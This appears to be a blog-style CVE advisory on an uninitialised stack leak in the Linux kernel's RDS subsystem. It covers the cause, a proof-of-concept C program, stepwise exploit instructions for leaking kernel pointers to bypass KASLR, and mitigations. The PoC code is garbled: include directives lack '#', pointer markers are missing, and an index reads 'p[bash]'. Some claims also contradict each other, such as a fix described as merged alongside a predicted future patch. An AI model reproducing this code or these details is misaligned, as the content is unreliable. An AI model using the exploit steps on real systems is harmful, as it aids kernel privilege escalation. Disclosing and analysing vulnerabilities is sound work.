Listen to this Post
How CVE-2026-52995 Works
The vulnerability resides in the Linux kernel’s Reliable Datagram Sockets (RDS) subsystem, specifically in the handling of connection information queries via getsockopt(). Two core functions—rds_for_each_conn_info() and rds_walk_conn_path_info()—are responsible for iterating over active RDS connections and invoking a per‑connection “visitor” function that populates a caller‑allocated on‑stack buffer with details about each connection.
The critical flaw is that these functions allocate a `u64` buffer on the stack and pass it to the visitor without zero‑initializing it. After the visitor returns, the entire buffer—regardless of how many bytes were actually written—is copied back to user space via `rds_info_copy()` and memcpy_to_user(). For connections that are not in the `RDS_CONN_UP` state (e.g., RDS_CONN_CONNECTING), the IPv4 and IPv6 IB visitors (rds_ib_conn_info_visitor() and rds6_ib_conn_info_visitor()) only fill a subset of the output structure. They explicitly zero out the source/destination addresses, TOS, SL, and GIDs, but leave several `u32` fields—max_send_wr, max_recv_wr, max_send_sge, rdma_mr_max, rdma_mr_size, and cache_allocs—untouched. Furthermore, a 2‑byte alignment hole between `sl` and `cache_allocs` in the structure is never written.
Because `struct rds_info_rdma_connection` and `struct rds6_info_rdma_connection` are not marked `__attribute__((packed))` (unlike other RDS info structures), they contain real padding bytes that also remain uninitialised. When the kernel copies the full 68‑byte item back to userland, these untouched fields and padding leak whatever kernel stack garbage happened to be present before the function call—including kernel text and data pointers, as demonstrated in the reproduction.
The issue is exacerbated on kernels built without CONFIG_INIT_STACK_ALL_ZERO=y, which would otherwise zero the entire stack slot. A local unprivileged attacker can trigger the leak by opening an `AF_RDS` socket, setting the transport to IB (SO_RDS_TRANSPORT=IB), binding to a local RDMA‑capable interface (even soft‑RoCE like `rxe` suffices), and sending a single packet to any peer on the same subnet. This creates an RDS connection entry in the global hash table with state RDS_CONN_CONNECTING. Subsequently, calling `getsockopt(SOL_RDS, RDS_INFO_IB_CONNECTIONS)` returns the 68‑byte structure containing up to 26 bytes of stale kernel memory, including pointers that can be used to defeat KASLR.
The fix, already merged upstream, zeroes the entire per‑item buffer before invoking the visitor in both iteration functions. This ensures that any fields not explicitly written by the visitor default to zero, eliminating the information leak. The patch also hardens all current and future visitors against the same class of bug, regardless of whether they fully populate their output.
DailyCVE Form:
Platform: Linux Kernel
Version: 2.6.30 – 5.10.257 (fixed in 5.10.258+)
Vulnerability: Uninitialized stack memory leak in RDS getsockopt
Severity: Medium (CVSS 4.0: 5.5)
Date: 2026-06-24
Prediction: Expected patch within 7–14 days for major distributions
What Undercode Say:
Reproduction steps (kernel without CONFIG_INIT_STACK_ALL_ZERO=y)
1. Load soft-RoCE driver (if not already present)
modprobe rdma_rxe
rdma link add rxe0 type rxe netdev eth0
2. Compile and run the proof-of-concept (C code)
cat > rds_leak.c << 'EOF'
include <stdio.h>
include <stdlib.h>
include <string.h>
include <sys/socket.h>
include <linux/rds.h>
include <linux/rdma.h>
include <netinet/in.h>
include <arpa/inet.h>
include <unistd.h>
int main() {
int sock = socket(AF_RDS, SOCK_SEQPACKET, 0);
if (sock < 0) { perror("socket"); exit(1); }
int transport = RDS_TRANS_IB;
if (setsockopt(sock, SOL_RDS, RDS_SO_TRANSPORT, &transport, sizeof(transport)) < 0)
perror("setsockopt transport");
struct sockaddr_in bind_addr = { .sin_family = AF_INET, .sin_addr.s_addr = inet_addr("10.99.0.1") };
if (bind(sock, (struct sockaddr )&bind_addr, sizeof(bind_addr)) < 0)
perror("bind");
struct sockaddr_in peer = { .sin_family = AF_INET, .sin_addr.s_addr = inet_addr("10.99.0.2") };
char msg[] = "hello";
sendto(sock, msg, sizeof(msg), 0, (struct sockaddr )&peer, sizeof(peer));
// Now leak kernel memory
struct rds_info_rdma_connection info;
socklen_t len = sizeof(info);
if (getsockopt(sock, SOL_RDS, RDS_INFO_IB_CONNECTIONS, &info, &len) < 0)
perror("getsockopt");
else {
printf("Leaked %u bytes:\n", len);
unsigned char p = (unsigned char )&info;
for (int i = 0; i < len; i++) {
printf("%02x ", p[bash]);
if ((i+1) % 16 == 0) putchar('\n');
}
}
close(sock);
return 0;
}
EOF
gcc -o rds_leak rds_leak.c
./rds_leak
Expected output shows kernel pointers in fields:
max_send_wr (bytes 40-47), rdma_mr_max (48-55), cache_allocs (64-67)
Exploit:
- Prerequisites – Local unprivileged user with access to `AF_RDS` sockets and an RDMA‑capable network device (real InfiniBand or soft‑RoCE
rxe). - Trigger – Open an RDS socket, set transport to IB, bind to a local address, and send a single packet to any reachable IP on the same subnet. This creates an RDS connection entry in `RDS_CONN_CONNECTING` state.
- Leak – Issue `getsockopt(SOL_RDS, RDS_INFO_IB_CONNECTIONS)` with a buffer large enough to hold `struct rds_info_rdma_connection` (68 bytes). The kernel copies back the full structure, including uninitialised fields.
- Extract – Parse the returned data: bytes 40‑47 and 48‑55 contain kernel pointers (text/data), and bytes 64‑67 may contain additional stack garbage. These pointers can be used to bypass KASLR and aid in developing further privilege‑escalation exploits.
- Repeat – The leak can be triggered multiple times to gather different stack values, increasing the chance of obtaining useful pointers.
Protection:
- Apply kernel updates – Upgrade to a stable kernel version that includes the fix:
– `5.10.258` or later
– `5.15.x` with backported commit - Any distribution kernel that has cherry‑picked
81651e9d7dea1c048d2952f57632a042931d7b43. - Enable stack initialisation – Build the kernel with `CONFIG_INIT_STACK_ALL_ZERO=y` (or
CONFIG_INIT_STACK_ALL_PATTERN=y) to zero all stack variables, mitigating the leak even on unpatched kernels. - Restrict RDS access – If RDS is not required, block the `AF_RDS` socket family using `seccomp` or LSMs (e.g., AppArmor, SELinux) to prevent unprivileged users from opening RDS sockets.
- Disable RDMA – For systems without legitimate RDMA usage, unload the `rdma_rxe` and `ib_core` modules to remove the attack surface entirely.
Impact:
- Confidentiality – Leak of up to 26 bytes of kernel stack per query, including kernel text and data pointers. This defeats Kernel Address Space Layout Randomisation (KASLR) and provides attackers with reliable addresses for subsequent exploits.
- Integrity – None directly, but the leaked information can be combined with other vulnerabilities to escalate privileges or achieve arbitrary code execution.
- Availability – No direct denial of service; the flaw is purely informational.
- Scope – Affects all Linux kernels from version 2.6.30 (introduced in 2009) up to the fix, impacting virtually all distributions and embedded systems that enable RDS over IB. The attack requires only local unprivileged access and an RDMA‑capable network interface, making it a realistic vector for privilege escalation in multi‑user environments.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

